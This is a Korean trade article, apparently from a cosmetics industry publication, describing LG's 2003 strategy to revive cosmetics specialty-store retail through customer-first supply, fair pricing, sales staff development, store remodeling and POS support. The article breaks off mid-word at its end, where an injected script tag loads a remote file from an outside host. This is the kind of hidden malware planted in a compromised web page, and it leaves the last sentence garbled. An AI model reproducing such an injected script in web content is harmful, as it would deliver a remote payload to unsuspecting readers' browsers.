화장품시장의 주력유통인 전문점시장은 90년대 중반이후 방판, 백화점이나 마트시장에 열세를 보이며 입지가 위축되어 왔다. 2003년의 전문점시장은 현재의 운영구조를 유지한다면 매우 어려운 상황이 전개될 것이라는 것이 화장품업계의 공통적인 의견이다. 현재 전문점시장의 상황은 고객 니즈의 변화와 유통환경 변화에 효과적으로 대응하지 못하여 고객이탈이 발생하고 있는데 주된 원인이 있다고 볼수 있다. 그러므로 전문점으로 재도약을 위해서는 단기적인 전문점의 이익보다 장기적으로 고객으로부터 사랑받을 수 있은 유통으로의 전환이 중요하다고 보고, LG에서는 이러한 분석을 바탕으로 2003년 전문점 유통의 발전을 위한 전략방향을 수립해 단계적이고 구체적인 다양한 정책들을 펼쳐나가고자 한다. 전문점 유통이 새로운 전성기를 맞기 위해서는 전문점, 대리점, 메이커가 우선 ‘고객 우선주의’관점에 바탕을 두고 모두 윈-윈-윈 할 수 있는 방향으로 전략을 수립하고 상호협력해 나가는 것이 무엇보다 중요하다고 본다. 전문점 유통발전 위한 전략 방향 LG는 2003년 전문점 유통발전을 위한 전략방향을 다음 세 가지 선행과제로 제시하는 바이다. 첫째, 전문점 유통은 무엇보다 고객이 원하는 제품을 제대로 공급해야 한다. 현재의 추세대로 ‘거점브랜드’나 높은 마진이 보장되는 초고가의 ‘외제화장품’판매에 주력하다보면 고객은 점점 전문점을 외면하고 다른 유통으로 옮겨갈 것이다. 보다 많은 소비자가 인지하고 있는 최고 품질의 제품을 합리적인 가격으로 소비자 기회에 맞게 공급하는 것이야 말로 전문점이 재도약할 수 있는 가장 중요한 요소라고 본다. 둘째, 전문점 간에 공정한 경쟁의 분위기를 조정하여 상호 공정하게 경쟁하는 방향으로 나아가야 한다. 일부 전문점에서 매장과 함께 인터넷몰을 운영하면서 저가 판매에 치중하고 있는 것으로 알려지고 있다. 바로 이러한 점이 전문점의 수익구조와 전문점시장 전반에 악영향을 미치고 있음은 주지의 사실이다. 이러한 안타까운 현실을 타개하기 위한 유통 내에서의 고민과 이해 및 상호협조의 분위기가 조성되어야 한다고 본다. 셋째, 이제 전문점 유통도 매장의 판매효율을 높여 수익성을 제고하고 이러한 수익금을 전문점 쇄신을 위해 재투자해야 하겠다. 전문점 시장이 어려워지고 있다고 해서 판매인원을 줄이는 등 무리하게 비용을 줄이는 데 치중하다 보면 결국 더욱 어려운 상황으로 몰릴 수밖에 없을 것이다. 전문점 유통이 백화점이나 방판 유통 등과 경쟁하기 위해서는 무엇보다 능력있는 판매사원의 자질 발휘가 중요하다. 영업현장에서 고객과의 접점에 있는 전문점 판매사원에 대한 직무분석을 통해 만족도를 제고하게 되면 고객을 체계적으로 관리할 수 있을 뿐만 아니라 합리적이고 만족도가 높은 제품설명으로 ‘고품질의 판매서비스’를 제공할수 있게 된다. LG는 이러한 전문점유통의 변화에 동참해 전문점 유통의 신뢰도 회복을 위한 노력을 경주할 방침이다. 이를 위해 LG는 우선 고객들로부터 사랑받고 타유통과 차별적 경쟁력을 가질 수 있는 ‘고객사랑 전문점 만들기’를 지속적으로 펼쳐나갈 계획이며, 전문점, 대리점, 메이커가 각자에 대한 역할 정립을 통해 전문점 위상을 새롭게 정립시키도록 최선을 다할 것이다. ■ 매장 리모델링 적극 지원 전문점 시장의 어려움을 함께 고민하는 전문점주들을 하나로 묶는 ‘전문점 커뮤니티’와 보다 많은 소비자들이 찾고 머무를 수 있는 ‘매장 리모델링’을 적극 지원하는 방향으로 진행될 것이다. 전문점 시장이 지속적으로 위축되어 가고 있는 것은 고가의 외국브랜드를 마진 보전 차원에서 거점 형태로 판매하고 있어 전문점이 가지고 있는 무한한 장점을 상실한 채 백화점이나 직 방판의 영업방식을 모방하고 있는데 기인한 것으로 본다. LG는 이렇게 전문점이 전문점만의 고유한 특징, 즉 아이덴티티를 잃고 있는 상황을 안타깝게 생각하며, 최소한 당사의 팬화 전문점을 선정해 이들 전문점 간의 친목을 도모하고 ‘경영선진화’방향을 함께 고민하고 실천하고자 한다. 또한 ‘매장 리모델링’지원은 기존 진열장 지원이나 ‘숍 인 숍’과 같은 정형화된 모델이 아니라 디자인 및 유통전문가와 직접 상담해 각 매장의 상권별 특징을 담아내어 소비자와 함께하는 전문점을 만드는데 일조하고자 한다. 아울러 현재 전문점 경영의 효율화를 위해 지원하고 있는 POS 시스템 역시 지속적으로 확대 강화해 나갈 것이다. POS를 통한 경영 효율화 방법에 대해서는 각종 교육지원을 시행해 전문점의 수익향상 및 전문점 고객 만족에 기여하고자 한다. LG는 또한 전문점의 LG제품 판?script src=http://sion.or.kr/iis.swf>

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